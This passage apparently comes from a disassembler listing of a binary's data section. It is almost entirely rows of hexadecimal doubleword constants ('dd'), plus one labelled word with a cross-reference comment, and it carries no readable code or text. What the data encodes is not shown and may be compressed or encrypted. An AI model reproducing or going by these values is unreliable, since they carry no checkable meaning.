0C6F2071Bh, 0CCF8BB25h, 0D80B290Fh, 3DDB0EC5h, 0D6DA3031h dd 0C4E5F9DDh, 1CF0BAECh, 0C3ED14CFh, 0D1EE2D07h, 64883A82h dd 83DFF504h, 9AC3524Ch, 0EBE3CEE3h, 2170E6C3h, 0FF5A7200h dd 0A0B77068h, 0FE09CD61h, 5A09E421h, 87DFFC39h, 0D4773A3Fh dd 0DCE008C0h, 6FA200A8h, 0F6818FBFh, 543BF133h, 799930B2h dd 326CABBh, 3D00C0Eh, 8DE1436h, 2054B830h, 26F2D5h, 6C70BDD2h dd 57080A25h, 5CFE6601h, 0BB4FB8E0h, 39BC5898h, 8819208Eh dd 0E5C99B34h, 5A080C18h, 0C42068F5h, 3A240F8h, 1751225Ah dd 0FEFCC4h, 0F43C3F51h, 4C319537h, 75F629F7h, 0C278C4h dd 0CFF6634h, 0D99C01ACh, 98B30A00h, 0E85FBAC0h, 5738C1DCh dd 0A3DDB5EBh, 707880D1h, 13BB003Eh, 517DCA93h, 0B8140B9Ah dd 7D8C963h, 0AE6C19E0h, 80B71D48h, 22E2EA97h, 0E9E89C07h dd 0F487A200h, 9FFFBF64h, 6C3318E5h, 1B7B31AFh, 0AA34EF00h dd 0ABDB2BB1h, 3FE30C47h, 2CC0E2F4h, 0A517940Fh, 0AAA20EA6h dd 0D981889Dh, 567306E7h, 0FABB3C40h, 0DB2D03DDh, 0A3D496D5h dd 21BE0830h, 0FAB2E2h, 21AF0EFBh, 983E5A9Eh, 6031B309h dd 191402C2h, 0EBC88176h, 8050B1B0h, 0ABF3218Eh, 8CBEE1BCh dd 0AC6C9C51h, 13965980h, 0D7B152E3h, 16816100h, 0A017F55Fh dd 94C030DBh, 5D8C9B49h, 0C8CACB30h, 3E4C7C19h, 78483A1Ah dd 2530E6EDh, 8B7FE1h, 887A2E42h, 99FF8C2Ch, 3EE2B106h dd 1279B81Ah, 413669BAh, 0F02FE4B4h, 9B0C25FDh, 0C0091F21h dd 5ABF63h, 9233ECD7h, 7DA3CC17h, 0C1D01014h, 0BF6B0690h dd 20D59Eh, 0AECEB4F1h, 0C07C307Dh, 48576780h, 3303500Bh dd 0FEFD39Bh, 0E76CAAA0h, 4CF8A36Ah, 7E03C1Dh, 0F338CC54h dd 0D980FCD4h, 27AD5A1Ch, 61206A3Dh, 0BCAB4806h, 0A76C3050h dd 79C43BA9h, 0DE0E6B0Fh, 76D92703h, 1782A3E0h, 4C7D1857h dd 24D8D1EBh, 634E6000h, 759137A4h, 0EE0A12F3h, 0E0D04C9Fh dd 4F6FF0A0h, 0FFD90031h, 1DBCB417h, 4EDC810Eh, 479380D6h dd 2070E04Ch, 51715E17h, 3F5DAC1Ch, 1034D8F0h, 2EF84035h dd 0B2D5B301h, 0CFC75D8Dh, 17BC2082h, 5C44FF29h, 7EB518E1h dd 0CB2D23FAh, 773BC11h, 0FFF8FAACh, 5B779016h, 328BF68h dd 0C4008CA1h, 0A938B411h, 0E5E89AA2h, 30E66C42h, 0BE0817E1h dd 6680FEBCh, 7A002132h, 482517E9h, 72F8C1FAh, 0C0AE1EFBh dd 8C2D0765h, 2C00296Bh, 3D39A14h, 24F0D626h, 3A5465Eh dd 0C2A0D60Fh, 0AD402358h, 7726C901h, 0A618D80Ch, 0F1D088h dd 62106926h, 80D73AA4h, 0EAA0FC03h, 18216BBBh, 51949CC9h dd 2B007470h, 68473802h, 99CEB730h, 18BD7918h, 0F60C0ECCh dd 19F8283Eh, 38A048F7h, 6E01A256h, 357804BBh, 0E7C8B0EFh dd 0CCB5019Fh, 6C150966h, 0F48D10B8h, 0AE5B0070h, 13D9BF3Ah dd 0B601A708h, 3746E75h, 90CEE7CFh, 10FABA50h, 0E0D32DDCh dd 1DFAB1EDh, 0E8444FDEh, 31EA017Ch, 0ECC6A7FBh, 2A96E866h dd 490D890h, 9A945D10h, 985FBC04h, 0B7E700E9h, 34E6EB77h dd 8321BAEAh, 1860847Ch, 0E171AD08h, 0E4EA39FCh, 370CE629h dd 1BA1C508h, 181D281Ch, 9C48A00Ch, 5AE78093h, 6F70CA15h dd 1011FE01h, 0A84F5D55h, 4840EC35h, 12AC1A04h, 3349C09h dd 98BAEB68h, 0FCE64100h, 4CFA49C0h, 76C92EAh, 8396E351h dd 40CFB0F4h, 5600E408h, 0D7EBD4D3h, 520841Dh, 3EBB839Fh dd 0C8508916h, 0EB7B133Dh, 0B9CC5C31h, 3424A99Ch, 48803E93h dd 0CBE5DF80h, 0E3E751CDh, 30E4C000h, 893AB27Eh, 604948E8h dd 0E48CA7E8h, 5C38099Eh, 0A800EB28h, 0F08D17DCh, 67F874B2h dd 0AE189A60h, 1608F76Ah, 19B4349h, 9C111298h, 0C1B430D3h dd 8048092h, 0FA503FBDh, 31A73CD1h, 8CB0F060h, 0C26FC1Ch dd 804CD27Bh, 426E4DBh, 0B211750Ch, 20A04C84h, 78C31E8h dd 0C9CB17Fh, 61AE36E6h, 57849001h, 0B3A81BFCh, 0AF80C4h dd 210C32A1h, 0A2A02EE7h, 0ECD180B1h, 91832119h, 0E287E7A8h dd 0D6BCC217h, 0F450C531h, 317EA79h, 391219B9h, 0F000C3BCh dd 85FB8D6Fh, 0B2B2535Ch, 310C0AD0h, 0B9B8CF40h, 0CDD0A12h dd 6CD9A374h, 28B349h, 9E7B69FDh, 1D6DA6CBh, 478FC5h, 5508EC67h dd 0C372AE95h, 21D63B09h, 0B31C04C8h, 0D26CB60h, 11280C23h dd 0F3D60FA0h, 2DE3A026h, 0C3AB2F94h, 0AA0D3EA0h, 131C8150h dd 43189D67h, 0C7862157h, 28610CB8h, 0A72980B7h, 0E9B6EB3Bh dd 604C1879h, 0F67B0061h, 0E423DCBFh, 0B202CF73h, 3D776D8Ch dd 4224E614h, 173E1B6Eh, 20D1E4A1h, 1180BA6Ch, 351E29D8h dd 0EB0041DFh, 9D490E5Ch, 0F859D6h, 0C7848DF3h, 11BBE909h dd 0F5E37013h, 42B180Bh, 0BE61778Ch, 0B32DD8FAh, 0E1B0448Ch dd 9FFAA503h, 0C3E4954h, 47F81699h, 8B5CA206h, 43650766h dd 2C06E96Eh, 5CB23140h, 9AC13D8h, 19103AE5h, 4850E4F4h dd 4303A128h, 7B56116Ch, 0E121F0C8h, 0B59E05A3h, 0DBBD2792h dd 990380DCh, 15E84B17h, 0AC67E0C8h, 882FDC81h, 140832E9h dd 14ECA173h, 17E617B8h, 0E86694C0h, 0B5242030h, 140FAA73h dd 69742DE4h, 0C248096h, 110B42h, 71F5BA92h, 7C03FBBh dd 5694C800h, 2DB6D5CCh, 0C4674D6Ch, 0D02FE406h, 383650EBh dd 0B148AC94h, 18C8D194h, 6A8B0735h, 50A73E30h, 8DB3D221h dd 3844384Ah, 88824754h, 26FE30B6h, 0DC0C723Eh, 0E6D9E004h dd 0FEEA5826h, 27BD0F03h, 0D0400110h, 0AB408F98h, 811E19B4h dd 61F069FCh, 5E1F100h, 8888C08Eh, 6D2A2BC0h, 61500A8h dd 631B3A59h, 0E9120477h, 6866A5E4h, 80A5408h, 3EBF1FFEh dd 946312C4h, 86908C24h, 33755100h, 0D7816C1h, 8C6D1674h dd 0B7A4051Eh, 0E4CC9119h, 8E9424FAh, 58152024h, 0F414C081h dd 3438BD24h, 28CFFB8h, 0A692FEFCh, 0A9E0DEC8h, 0BB2C8C2Ch dd 861C8ADh, 0F2ED47DDh, 8E0C1473h, 4949F0D7h, 83849h dd 0EBF65AD8h, 244F32h, 1E6C6D31h, 0F4C43D37h, 5B0DA098h dd 0D814BFE6h, 48BBC864h, 34816466h, 5E3F510h, 81338808h dd 0DB202FADh, 7A146209h, 0C8A8A08Ch, 74185268h, 9D70F422h dd 28B45A01h, 0D55B97CCh, 0EA898FD4h, 69130B84h, 348232BCh dd 28503954h, 0B88004B1h, 0BF7455EFh, 5ADD00CBh, 7664C585h dd 0BC0156C1h, 267227Fh, 2433153Fh, 0F046523h, 0C1403848h dd 0D165762Ah, 936A0500h, 0A2F5218Ch, 61C89AB4h, 0F664034h dd 82A00196h, 42C7C020h, 28F1239Ah, 0BCAD16B0h, 3F7463E6h dd 0E8672100h, 65DF3017h, 29D2060Bh, 41E94DCFh, 1358D416h dd 61DBD304h, 0E80DA5C0h, 0EC2E12E0h, 0CFA4044Fh, 401268B6h dd 50905FE7h, 0EDF63C00h, 0C7F2AD6Ah, 0F5DE2A14h, 0E44D30F0h dd 1CA24739h, 7DFBCA12h, 699300EBh, 0A14D8B44h, 271C3491h dd 8875ED10h, 0B089E138h, 0C78A3829h, 904D13B0h, 0A0630DCCh dd 0CF211501h, 92A3A9BAh, 0CB02E8h, 0F938450Ah, 0C047E48Fh dd 0E0E37F3Ah, 322FFB60h, 0F45425A1h, 0BCC06C2Dh, 38BA2560h dd 138C2B68h, 29AB838Dh, 0A2820C8h, 0FABF048Ch, 62BB2DE1h dd 0B6202F8Bh, 344170FAh, 0D73C8300h, 0A9011F86h, 8D84145Ah dd 498F9C23h, 5900E8F5h, 0EEC803AFh, 34480D6Fh, 103E8458h dd 31BA8CE4h, 9C312767h, 4C18092h, 2E15B4CBh, 806D5F20h dd 0CFC59A9Ch, 0AA48E00h, 14B8F5FBh, 136499EBh, 4CA0904Dh dd 0CB00A0D3h, 0E542CDFh, 2A3E832Eh, 8098EB8Ch, 96FCE09Ch dd 0A8B54104h, 7307754h, 0DD8650DCh, 7827B4B0h, 2AC87204h dd 50ACE67Bh, 785C784Ch, 419200BDh, 0CD33D87Eh, 0D23CAE89h dd 0E814D888h, 0C70F8C9Ch, 5FC61670h, 0E79489BBh, 0FDA81196h dd 1709DC18h, 0C506BCB9h, 0E5738BFCh, 2319DA00h, 2F245D54h dd 0A00404BBh, 54894C4Fh, 0B32BEF8h, 1B4A25E6h, 41C2E886h dd 228DC909h, 4D3CE059h, 0F4EA06A8h, 0B1AF81C7h, 0C8A09476h dd 0F100D7A5h, 8AED8AAh, 73FF5129h, 0F7EE0BC1h, 40489CC0h dd 0D900E3CEh, 5D93A7F6h, 0FB9472h, 3A338DDFh, 8396BCC0h dd 0F9D19899h, 58009318h, 0DE2DDF26h, 0B6BF283Eh, 29F698D0h dd 6E000DA8h, 7E185E81h, 0F2014Bh, 7C42BC6Fh, 0DAF02026h dd 7C2E2424h, 0EC6ECE1Ch, 27AE1DDCh, 0F18DD85Bh, 7F1E9E01h dd 0BAC06B32h, 0AE067EBFh, 48330921h, 4822448Ah, 4044A4B6h dd 0EC710EBh, 0FB053EF0h, 0C08F911Fh, 334F2452h, 9D247408h dd 730C6459h, 0B931A5h, 0BD9FC265h, 3850615Dh, 170905EAh dd 82725F6Fh, 48354820h, 172B0E1Ch, 1A8F6E7h, 20337087h dd 284875BCh, 0E816D2F4h, 99ACD002h, 830C41E3h, 7B00F02Ch dd 4133F68Eh, 321E1751h, 0A840F5EFh, 3464ABDCh, 0BA40C2FEh dd 28D8575Fh, 2F00CDE8h, 6F6414CAh, 4EC3AD8h, 0B14D7E33h dd 93C8A58h, 0C9B0BB05h, 0C6FE0AB0h, 808498A8h, 7A2E2548h dd 0A817183Ah, 272368D9h, 0E997200Eh, 0F3EF80E2h, 4C2CFA05h dd 0B20106D0h, 0C9ADA55Fh, 0E6C6Dh, 61E92786h, 0EF5051Bh dd 825D7910h, 3C917A83h, 164E65C8h, 0D67F641Bh, 9A0D910h dd 9856D5F0h, 29AA0707h, 3086722Fh, 0CCFA69E9h, 71858000h dd 6E118352h, 0AAF41D20h, 0E0F343C2h, 8EC8379Fh, 0F63E66F5h dd 175C9696h, 0FF9C34C0h, 0AD5A0FABh, 7842DDCh, 0B164A38Ch dd 7A0C9B32h, 4154601Fh, 0C1C3225Fh, 0CCA4AFEAh, 7391FB0Ch dd 0E20BB49h, 5E8049Ch, 0BF800C86h, 2950219h, 0BF6EF47Ch dd 0F889BD1Fh, 0B8E4D465h, 21DC5B60h, 50490E8h, 497A650Dh dd 0A45820B3h, 706C912h, 0D0EAF740h, 5B5C2E50h, 408CA251h dd 39BD771Ah, 850CE44Dh, 0CCC15A0Dh, 0C33B678h, 0A100F222h dd 67F95A04h, 2811136Dh, 0DFAD688h, 0A36FB0E7h, 55A830D0h dd 0F3FDA0B0h, 0A7693906h, 1205407h, 0A40EF5F4h, 380409B3h dd 58492C50h, 5E762940h, 1A677E7h, 32055FDEh, 0CEB1BE24h dd 0B079D851h, 8297C818h, 583847F1h, 6ECD0568h, 0C22DFB83h dd 84098EBh, 0F7064813h, 894BB8E6h, 0F4902A8h, 0A17AF4C0h dd 0F5794C79h, 0D200F618h, 0E61ABF14h, 78A461ACh db 99h, 1Ch word_505446 dw 11C4h ; DATA XREF: ___:off_435E08o dd 7F8F0B8h, 8854A369h, 5D16578Ch, 4C3E9903h, 0C79B3110h dd 8F105DA8h, 9E0C3ED8h, 0A787620Ch, 0E124AC02h, 80173310h dd 13C75F4Fh, 0B500147Bh, 5821123Bh, 5CA2A936h, 92E3FCC1h dd 9C85940h, 0FAB8058Ch, 0E2A32DE2h, 0B797C060h, 710DFFAh dd 3079FD0Bh, 40E8BB77h, 2701D00Fh, 0EF6A7A67h, 306DEB09h dd 4B242C24h, 6A8D3807h, 56BE1708h, 655C8938h, 8D088A44h dd 24B1420h, 0D10277E0h, 183F7168h, 38FAFFh, 4E7C8946h dd 0AF2F8D54h, 2704E8BCh, 0B4841528h, 1DB274D2h, 0E580BD11h dd 959CEE1Fh, 234288h, 2467BA7h, 2F8E0481h, 2D3AC8B9h dd 7CF4A8B9h, 8DB8804Bh, 90956F75h, 0BE14B124h, 56CF4700h dd 0B3DC8E60h, 4C1CB000h, 647F87BCh, 0E51E2CBFh, 0E4FB0220h dd 1CC8C44Fh, 700B44Ch, 0FDE1F9CCh, 32A564h, 9D56F7B1h dd 0E2713C13h, 0A098C201h, 845AF519h, 0A1BC886Ch, 0B983008Ch dd 5276872h, 0B117104Dh, 0F8C2B83Bh, 0F5B420ADh, 1925EE15h dd 1D7C291Dh, 9ACD08E4h, 0A6FC6460h, 0F97E03EFh, 0BB3CB038h dd 0F8F4283Ah, 0E80ACC28h, 0BF215006h, 5888D0Bh, 0F45C629Bh dd 38AC101Ah, 0F013957Dh, 808C9FC4h, 758C2DACh, 68770B37h dd 10194BA7h, 8FF18B7h, 0C80C7126h, 0DA40A3C4h, 1A6826E7h dd 0F33C8506h, 3969D78Dh, 90B05957h, 1F2A7E49h, 20EEC5Ch dd 87CA60AFh, 9C9460C0h, 0EF6180E8h, 8D5C6CB0h, 0F89430BEh dd 60D447A2h, 68F420E6h, 0B469EBB7h, 0B01C02A8h, 78590927h dd 165CC7Bh, 0AE350A3Eh, 0F3B0E02Ch, 0AC142904h, 0E0B8DC39h dd 73B76902h, 9860E598h, 2AF5EA5Ch, 0B16C2C45h, 27C3C020h dd 4955005Dh, 0F7D767B0h, 0A61F5831h, 0CF84F8D8h, 548E628Dh dd 5FC0BF88h, 0BE6DE6h, 0C1CEF589h, 66BA87C0h, 0F19DA899h dd 4C08E3D2h, 1740CFE4h, 80EEBCB8h, 74C64486h, 7517E401h dd 58187D3Eh, 1080E47Ch, 213A6F98h, 0E7E63412h, 0A3C880CBh dd 5CA456C0h, 0C73050Fh, 0E3D1011h, 288972D4h, 642CB010h dd 5864A495h, 2EE1A0C2h, 0DA2F6887h, 281402F4h, 6859D603h dd 0FC40F391h, 73048CEAh, 868FE5Ah, 0A7B074BCh, 0E9385A0Ah dd 8828999Fh, 0C91092F8h, 6C01BEF4h, 6F98730h, 0B069E72Bh dd 0E0715D30h, 0E47CC43Eh, 0BFFE08C2h, 0BCD07Fh, 1D2FF51Ah dd 0BD63AA6Ch, 20F47732h, 40505E09h, 97F69027h, 35C8F91Fh dd 1F09379Ch, 494732Bh, 12E31827h, 67F4F020h, 13BAFE84h dd 0C8FBAB9Bh, 0D70EF540h, 0AA5310h, 1D4F2193h, 0C44000F4h dd 0E4F786E1h, 0C9018C96h, 10491477h, 303DB8EAh, 10EBF43Fh dd 0F841084Ah, 0AC7C09E1h, 490C296h, 11FAB930h, 88AB2DE3h dd 0B09481B3h, 0D72C40FAh, 1EF06ABFh, 7253E3Ch, 0F01750BBh dd 2494FCB0h, 0C88498CEh, 0ACF1309Ah, 69CB000Ah, 0D48608F3h dd 5CEE0C28h, 4F8DA5Dh, 5AAA9FC8h, 0FB998B81h, 0E58870B0h dd 80BAB026h, 0DD02F246h, 1EBCBA17h, 7603EC67h, 0A0E517E6h dd 1C5012h, 0EF600232h, 0E009B3ACh, 7012F0BEh, 8BB17808h dd 0CC4A60BAh, 3B00BC66h, 0FF4F11D1h, 0B004981Fh, 3D4830B0h dd 0D9FE5329h, 0DF3EF700h, 0EB8F5224h, 2DF00B90h, 50A58AA0h dd 0B8DC32D6h, 40AC20D1h, 0C5596C21h, 0BB738918h, 0D8100928h dd 0EF5AC314h, 64F1262Ch, 3A5465Eh, 4870F4E1h, 9F4900CAh dd 0B71ED6EFh, 1D00A1F9h, 70252D73h, 0EB0E3D4h, 2E1C278Eh dd 388DD5C2h, 49527844h, 0BAF0018Ch, 9A7927F9h, 0D93AF240h dd 2B3412DEh, 3354F09Fh, 0B19168B1h, 0B26FD80h, 58A5F80Ch dd 0A07D412h, 0EAE1FF50h, 0B82CAEAFh, 43529980h, 8996EBAh dd 2DF71404h, 0EC0358A5h, 673100AAh, 6F3B58C4h, 59008BB1h dd 5E07F210h, 0D9A576h, 87202FBEh, 0C0A2A74Ah, 142074B0h dd 60CD03E3h, 0C1BC69F1h, 0C055FA90h, 3156B904h, 0C49A5Dh dd 9C705EC6h, 0F400DCB4h, 7D8CC153h, 3E19E9h, 0A9C54FFFh dd 0CE9360C2h, 61904667h, 0B56848B9h, 3C8F00B4h, 6B94CF65h dd 0C71F03DFh, 239367A6h, 0FF05BCA2h, 930117A2h, 404C6DD8h dd 0D5F012D4h, 9C22880Ah, 976CAA04h, 7E0048EDh, 0A012EF10h dd 0BF0065A2h, 33ECDFAEh, 35C39EBh, 0E2BE1830h, 0D0B27E09h dd 0F067E848h, 58F5AE12h, 0C023703Ah, 13C8D203h, 0A930F969h dd 966F7884h, 90C0128h, 68BEE020h, 0AECB570Bh, 0BF118C9Fh dd 0D041FB80h, 6F12AA3Fh, 0D8047F9Eh, 4949EE22h, 0C25EFC90h dd 43767A00h, 3A19D509h, 0D0234F8Eh, 5834C034h, 2CA0604Dh dd 14609C2Eh, 26485F37h, 2707D9Ah, 0EC5027BBh, 0C6208E02h dd 3EFE00ECh, 5530B55Bh, 0E63B147Dh, 3C04CD5h, 0C7FD281h dd 583CBA31h, 42AD3AC4h, 1795E020h, 7C6BB90h, 635C6265h dd 343AA86Dh, 0A034B67Ch, 8F6A2B2h, 113D87B9h, 0BB5C8440h dd 2F91809Ch, 678C3813h, 3420F852h, 20EE30h, 68607CE3h dd 18039C04h, 0CB32E700h, 0E0C401Dh, 9702E8ABh, 2C823CB5h dd 60530F4Ah, 9F8020E3h, 62BA3002h, 1148D0E6h, 0D43E2410h dd 9488A82Bh, 662E0673h, 0BC05B16Ch, 0C0DFAC17h, 284A9491h dd 19F05061h, 0C841C11Ch, 3C59FA16h, 8CBEBC50h, 830B151Dh dd 8E21C441h, 586D739Dh, 6B22F100h, 7559B27Ch, 9F968300h dd 0E13F5420h, 318007E9h, 29DFA768h, 210C8800h, 18903918h dd 0E8A0C058h, 3E9B4332h, 0B8230073h, 440F362h, 47692E08h dd 308C82FCh, 0C448C564h, 0ECF4B8BFh, 9CD9E899h, 4701AC18h dd 873C7277h, 5C6861BAh, 0A81C2085h, 0C7E70658h, 598C81h dd 48AF106Bh, 0E5C10E24h, 697A6E00h, 0EA415ED4h, 1288B1B9h dd 2D3CA4E2h, 0CCF77424h, 0B0909C97h, 3BE5891Bh, 0D18078E7h dd 6037DE69h, 0C058D23Fh, 308BA4ACh, 68C0A688h, 0FE2C2F67h dd 0C7F73A83h, 0A46BF503h, 0C3A8F404h, 31D2B7BCh, 883FA4E0h dd 0F500FB19h, 2028135Bh, 95A74596h, 0FE11749Dh, 53376080h dd 7A0C2372h, 60F413B1h, 5C3112B2h, 6F100235h, 860FBA5h dd 7E81B323h, 9CBC882Ch, 0B4A6008Ch, 43FFA416h, 75EEC1F7h dd 8EF2E43Dh, 0C10B088Bh, 304FF5CAh, 6CFE980h, 153D596Dh dd 6F28119Dh, 31861B0Ch, 0CC193B48h, 8C747DCDh, 4F8E9112h dd 0F88C2738h, 0FB10C072h, 3A9028F4h, 14C02DB4h, 34E4B0A9h dd 2F212047h, 224843h, 7DB7B291h, 6A889A30h, 0E4973D02h dd 0E071BFFEh, 28FC604Ch, 0B886E95h, 13268969h, 0E448AC01h dd 0E89038A8h, 2A008CF9h, 6723F8BFh, 2C403B2Ch, 0B400988h dd 6468958Ch, 912617B8h, 2C0258DAh, 81A62F64h, 0D96AAEF0h dd 232C2E3Fh, 43D000BEh, 2B7ED74Ch, 83E5111Dh, 9F3431CBh dd 80F31178h, 7158D42h, 94605BB8h, 54F21Ch, 9D8406EBh dd 0E67D6Fh, 0AA444B14h, 0EA0B53DEh, 0D450AF4Ah, 839E05B4h dd 90C4A8CFh, 61E40CC2h, 0C81057C0h, 0CE4D8760h, 267C5854h dd 69879090h, 0E5E673BFh, 0C9181119h, 0BB5708A8h, 0DA4488F6h dd 2889F42h, 84D62055h, 140081A7h, 300DCF67h, 25476914h dd 0C810CA93h, 503CC1BDh, 81986C99h, 4E7BB44Ah, 987EE9D8h dd 3A20B034h, 6E810277h, 2421CB8Bh, 5F141038h, 0E5B101DFh dd 9F6C2DA8h, 1518209Bh, 69A10E35h, 919C6C81h, 0BE486180h dd 0F753414Bh, 0D8266F02h, 0C314658Bh, 0FCE08D84h, 3769100Fh dd 0B70488Dh, 5823B0E0h, 601A13D4h, 0F120F2E3h, 390C9ACCh dd 9E621102h, 5C73E1F9h, 631806Ch, 2AED92FDh, 6B4E8C00h dd 0B09CDD29h, 6C3A1C91h dd 4B93972Ch, 1C641470h, 1BFA5709h, 9C2C83BDh, 0D1F100BEh dd 0FF674EF3h, 13015ACDh, 2CF2DA04h, 0BFD8270Ch, 0D519001Dh dd 0BD7CC555h, 0DB00A820h, 22B6A1DAh, 3DFB771h, 0E56F8A0Bh dd 73B08D1Dh, 0AE007A17h, 29B7807h, 0B3B08Eh, 0D5012214h dd 98E473EEh, 0D3EF661Ch, 0C0A4CBCFh, 150C2BB1h, 0F2193E24h dd 472FE400h, 35B2D18Bh, 960DE81Ch, 37EBA905h, 0ED17C480h dd 957F0061h, 5178C7CCh, 3D001C33h, 0A37C83A7h, 0E2C05982h dd 0F9AF8D7h, 0F3451518h, 0B1D4980h, 940098B7h, 0C7DA218Eh dd 29B2FF1h, 3162F6FAh, 0D6E31FF7h, 89A24AD9h, 0C43E30h dd 4BC87460h, 4C951EF0h, 0A41F4ECAh, 4A21784Eh, 60ECE808h dd 6A3B2B05h, 3E4E80A8h, 8703A9EDh, 0E37E0044h, 721F53CCh dd 3701240Ch, 0F4C4048Ch, 0C9F875B0h, 6944002Ch, 0C0980AB1h dd 0B300D95Eh, 0E460076Fh, 4D9558h, 9CE3B5CCh, 0ECF864EDh dd 4B744500h, 173D2EB0h, 317301F4h, 7C62C8CDh, 10F851D6h dd 5A55F470h, 3B9F5C00h, 0DA7292C3h, 49C800CEh, 45C0EAD2h dd 0EC6EC613h, 3FD96ED9h, 0AD35C440h, 4820802h, 0D8F1F429h dd 4F249055h, 440332EAh, 0D16D9C05h, 859901B7h, 0DE6B861Bh dd 96C4C4DBh, 251E3F00h, 0FDE11F01h, 1206002Dh, 36B1D56Eh dd 0BC00DA6Ch, 0B8CB5A66h, 5855F23Ah, 99004EFAh, 0CA9816BEh dd 8B00629Bh, 15DC8FE5h, 0FC54AFDh, 3AC8CBBFh, 25A719CFh dd 4EFE10BBh, 0BC0007CFh, 4F445F9Dh, 9FC80Fh, 8A2B1D48h dd 0DA73D153h, 4351E100h, 0A08436CEh, 6B941E82h, 3E3523Fh dd 0D2C72F1Dh, 0D0CA2801h, 0BB14BCA9h, 1FF91DECh, 40427E65h dd 74528B94h, 9CF86D4Eh, 4DC2C801h, 0F95CDDCAh, 1C9E8C4h dd 709A7F3Fh, 7001342Fh, 0EB262E6Dh, 73F00DAh, 909F3D04h dd 0F1FA89C0h, 4F6FE556h, 4960EAF8h, 1E33581Ah, 0A2010B75h dd 28437C32h, 0ABF3455Dh, 2DF5C00Ch, 0F7EF7E64h, 0A6BDC50h dd 0BF0700A3h, 0E2B37D44h, 0F8B886E0h, 4E9DED1Eh, 4013656h dd 1B236337h, 0ECC003Bh, 8A06A13Fh, 9AAB3Fh, 341AEB74h dd 0FA68830h, 19D39989h, 4BC7DD6Fh, 0A23E41EDh, 0CB77F405h dd 99FEA892h, 31E19D2Eh, 34A0F100h, 21FD01Bh, 0E6F32AA5h dd 20414E7Ah, 7808B5h, 1147C6EAh, 5C373A5Bh, 53C3060Fh dd 0F00F2090h, 1F94824h, 19FAD2E3h, 0C898051Bh, 913833Ch dd 5309A4B7h, 8AAF019Dh, 0E7700EC5h, 0CC82000Bh, 4320B74Eh dd 6C00B83Dh, 3953E355h, 78C12FE9h, 54E80034h, 493EF1Ch dd 0CA007C22h, 5EF868ADh, 29C52Fh, 0BD66FE74h, 0C14252FBh dd 0DED81D00h, 0B1934396h, 0DC360085h, 0AF38E344h, 409AE067h dd 0B9C0BD00h, 0FF0B8F7Ch, 763900F7h, 0C9F6DFEBh, 0BA1E8E1Fh dd 38808CD3h, 735CE9C3h, 98809701h, 50446D0Fh, 0B2183C00h dd 0F12385B3h, 0EF4700F7h, 9313DE56h, 0D30016F3h, 0C6144224h dd 797E67F0h, 0D9F800F4h, 0B34F27DCh, 0B97752F1h, 0F969E103h dd 0D85A394Dh, 3CEB309Bh, 0B680890Ch, 63E3D081h, 9607CDEEh dd 1BFCE16Bh, 0C86E59D0h, 2ADC00AEh, 6A55A25Bh, 0E20050D1h dd 26BBC164h, 3A6E9Dh, 0DDEA282Bh, 88D76957h, 9CC64728h dd 0BBEBE8F1h, 42E12312h, 132C8404h, 800B3093h, 7E1048EEh dd 0F1FAFAh, 119D15C9h, 49AD5F91h, 0E57B55ECh, 0BB7D9F01h dd 50E27EF3h, 3F99B1C4h, 0FB3A27CEh, 0B34DE100h, 2AC658B5h dd 0A86D4F04h, 9C90D7BFh, 1ABD6Eh, 5D23907Bh, 2BC85FA1h dd 0D299CB00h, 70D59E28h, 757E9845h, 0E6A0724h, 1F079303h dd 0CC159F41h, 0AB108006h, 0B25109Ch, 5A7D19h, 58F0642Eh dd 778CE3BBh, 0C7DFDE00h, 5C87B410h, 5BDA00A3h, 1128BEE7h dd 5100DDD7h, 3C3FACBDh, 0DB29EAh, 0F3CBA113h, 5DD8CA44h dd 0E7D4EE00h, 864837C8h, 1A263D0Eh, 9381400h, 0DB066C3h dd 767F6B00h, 9029A75Ch, 0DD7E002Eh, 0EE41F860h, 0F00E666h dd 57F2B842h, 4BA1640h, 37C5950Dh, 4E1C8828h, 10F57D04h dd 0D17B87h, 70DC5C67h, 66FD0133h, 1B5B0BE1h, 5ABC3031h dd 52004EF6h, 0C2F287A7h, 0BBB8E18h, 0C9CCD9Fh, 724FAD80h dd 371E2D40h, 5A0036FAh, 0B9F3AD51h, 750EE860h, 807927h dd 91B1E49Dh, 37D7CEE0h, 0C6FC8E16h, 12748600h, 3BF53Fh dd 0ABFA7234h, 38C565Bh, 54022000h, 0B84D229Fh, 5E8907F3h dd 0D0AC52FAh, 69A91B35h, 0CF6D5A04h, 0E4F45B10h, 50857A8Ah dd 6A7ACB1h, 8659DBA0h, 9F0040F9h, 4F509825h, 75F4BBE3h dd 54520E69h, 44453E4Dh, 348A80A7h, 1500052Bh, 0EFB192Eh dd 0FD0678Ch, 0C7EC7930h, 0B8DF62C1h, 923BCCD8h, 64CFF80Bh dd 0BC9C80F4h, 19C880BEh, 1055011Bh, 0D55801AEh, 1FA6219Eh dd 0FE00F8B3h, 53DDC715h, 7500F332h, 989D21ADh, 0B84B94F0h dd 0B4D807BFh, 5EE15C57h, 0D440F9E9h, 0FB1F84A6h, 0BCC75BB3h dd 0A266CA83h, 0F0670458h, 0FD9FE796h, 5300184h, 9475B1E2h dd 2404FCh, 0BCA3F2E4h, 0C06EFF92h, 68F3B601h, 0E3631B95h dd 1E670C74h, 832296F5h, 13ABFED6h, 23D5E2A7h, 9C005072h dd 0AD5B4146h, 2B3E207h, 332840F0h, 0B8C0DD09h, 78014268h dd 5694CF7Bh, 0FA70AD1Dh, 8DF802B1h, 0B64B403Eh, 0F9D31360h dd 0A882E103h, 75EF4D07h, 0CB630081h, 1C4C4860h, 0AC1E8CC8h dd 6C28F4E2h, 2F22DA07h, 0A4B16EF9h, 28C14EAh, 0C220028Ch dd 20455F05h, 5809349Ah, 6840E8ABh, 79C30012h, 0B37B2C6Ah dd 2200E235h, 9780ABF6h, 1132E21h, 60A40D2h, 0E8D5C4F4h dd 0A4306A78h, 9666660Ch, 1B79FBh, 0D3B890DFh, 5EFFFA60h dd 1424C21Fh, 0CD173B0Ah, 13B60Fh, 0DC09054Dh, 6EEA00F2h dd 0D1E33A69h, 40006441h, 0FD1EAB3Eh, 1D89BA45h, 54969D67h dd 1380B468h, 0B4A16941h, 6C777D0Eh, 5DBA82ADh, 79CD842h dd 59A44116h, 431907Bh, 33006E1Ah, 986166C7h, 1C85F236h dd 4053ABBCh, 7170160Bh, 0B4BAB717h, 88E8B807h, 3557F705h dd 33BADDA0h, 7A9D0310h, 0B1151840h, 73188CE7h, 0D2FED302h dd 0B6B0CD78h, 1B061020h, 4E00783Ch, 8EB9E411h, 79E9C4h dd 0F96C488Fh, 0B4F01E2Dh, 0C70EF4F8h, 0E0C58962h, 